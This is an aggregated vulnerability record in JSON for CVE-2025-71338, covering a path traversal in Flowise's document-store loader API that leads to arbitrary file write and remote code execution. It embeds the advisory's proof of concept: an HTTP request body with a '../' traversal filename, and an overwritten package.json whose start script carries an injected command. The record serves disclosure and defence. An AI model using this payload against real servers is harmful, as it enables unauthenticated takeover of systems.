{"id":"CVE-2025-71338","aliases":["CVE-2025-71338","GHSA-8vvx-qvq9-5948"],"related":[],"kind":"vulnerability","state":"published","title":"Flowise through 2.2.7 - Arbitrary File Write to Remote Code Execution via document-store API","summary":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.\nAn attacker can reach RCE(Remote Code Execution) via file writing.\n\n### Details\nAll file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.\n- addBase64FilesToStorage\n- addArrayFilesToStorage\n- addSingleFileToStorage\n\nThe fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.\n```javascript\nconst filePath = path.join(dir, fileName)\nfs.writeFileSync(filePath, bf)\n```\nTherefore, users can move to the parent folder via `../` and write files to any path.\n\nOnce file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.\n\nIn PoC (Proof of Concept), RCE was reached by overwriting package.json.\n\n### PoC\nIn PoC, `package.json` is overwritten.\nThis is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.\n\n**- original start command**\n````\n\"start\": \"run-script-os\",\n````\n\n**- modify start command**\n````\n\"start\": \"touch /tmp/pyozzi-poc && run-script-os\",\n````\n\nWhen a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.\n\n#### 1. package.json content base64 encoding\n```json\n{\n    \"name\": \"flowise\",\n    \"version\": \"1.8.2\",\n    \"private\": true,\n    \"homepage\": \"https://flowiseai.com\",\n    \"workspaces\": [\n        \"packages/*\",\n        \"flowise\",\n        \"ui\",\n        \"components\"\n    ],\n    \"scripts\": {\n        \"build\": \"turbo run build && echo poc\",\n        \"build-force\": \"pnpm clean && turbo run build --force\",\n        \"dev\": \"turbo run dev --parallel\",\n        \"start\": \"touch /tmp/pyozzi-poc && run-script-os\", --> modify (add touch /tmp/pyozzi &&)\n        \"start:windows\": \"cd packages/server/bin && run start\",\n        \"start:default\": \"cd packages/server/bin && ./run start\",\n        \"clean\": \"pnpm --filter \\\"./packages/**\\\" clean\",\n        \"nuke\": \"pnpm --filter \\\"./packages/**\\\" nuke && rimraf node_modules .turbo\",\n        \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n        \"lint\": \"eslint \\\"**/*.{js,jsx,ts,tsx,json,md}\\\"\",\n        \"lint-fix\": \"pnpm lint --fix\",\n        \"quick\": \"pretty-quick --staged\",\n        \"postinstall\": \"husky install\",\n        \"migration:create\": \"pnpm typeorm migration:create\"\n    }, ... skip\n```\n\n#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`\n<img width=\"1329\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500\">\n\n> **Request Body**\n```json\n{\n    \"loaderId\": \"textFile\",\n    \"storeId\": \"c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb\",\n    \"loaderName\": \"Text File\",\n    \"loaderConfig\": {\n        \"txtFile\": \"data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json\",\n        \"textSplitter\": \"\",\n        \"metadata\": \"\",\n        \"omitMetadataKeys\": \"\"\n    }\n}\n```\nThe part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.\nAdd `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.\n\n<img width=\"663\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02\">\n\nAfterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)\n\n**- starting server with `touch /tmp/pyozzi-poc` command**\n<img width=\"737\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3\">\n\n**- `/tmp/pyozzi-poc` file created**\n<img width=\"751\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087\">\n\n\n### Impact\n**Remote Code Execution (RCE)**\nAlthough it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flowise contiene una vulnerabilidad de salto de ruta en el endpoint /api/v1/document-store/loader/process que permite a atacantes no autenticados escribir archivos arbitrarios en el sistema de archivos. Los atacantes pueden explotar parámetros fileName no saneados con secuencias ../ para sobrescribir archivos críticos como package.json y lograr la ejecución remota de código cuando la aplicación se reinicia.","source":"nvd"}],"published":"2025-03-14T18:48:44.000Z","modified":"2026-11-03T17:45:09.807Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":10,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-73","CWE-94"],"affected":[{"ranges":[{"type":"custom","introduced":"0","lastAffected":"2.2.7","status":"affected"}],"vendor":"Flowise","product":"Flowise","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.2.7"}],"ecosystem":"npm","package":"flowise","purl":"pkg:npm/flowise","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"3.1.3"}],"vendor":"flowiseai","product":"flowise","cpe":"cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%402.2.7-patch.1","tags":["release-notes","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/flowise-arbitrary-file-write-to-remote-code-execution-via-document-store-api","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71338","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"],"sources":["ghsa"]}],"credits":["pyozzi-toss"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-06-26T12:45:21.904Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-71338","url":"https://www.cve.org/CVERecord?id=CVE-2025-71338","licence":"CVE Terms of Use","modified":"2026-09-17T18:57:19.542Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8vvx-qvq9-5948","url":"https://github.com/advisories/GHSA-8vvx-qvq9-5948","licence":"CC-BY-4.0","modified":"2026-11-03T17:45:09.807Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-71338","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71338","licence":"Public domain","modified":"2026-10-12T21:10:00.227Z"}],"updatedAt":"2026-11-25T22:59:12.355Z","epss":{"score":0.01041,"percentile":0.64967,"date":"2026-12-01T12:00:22.000Z"}}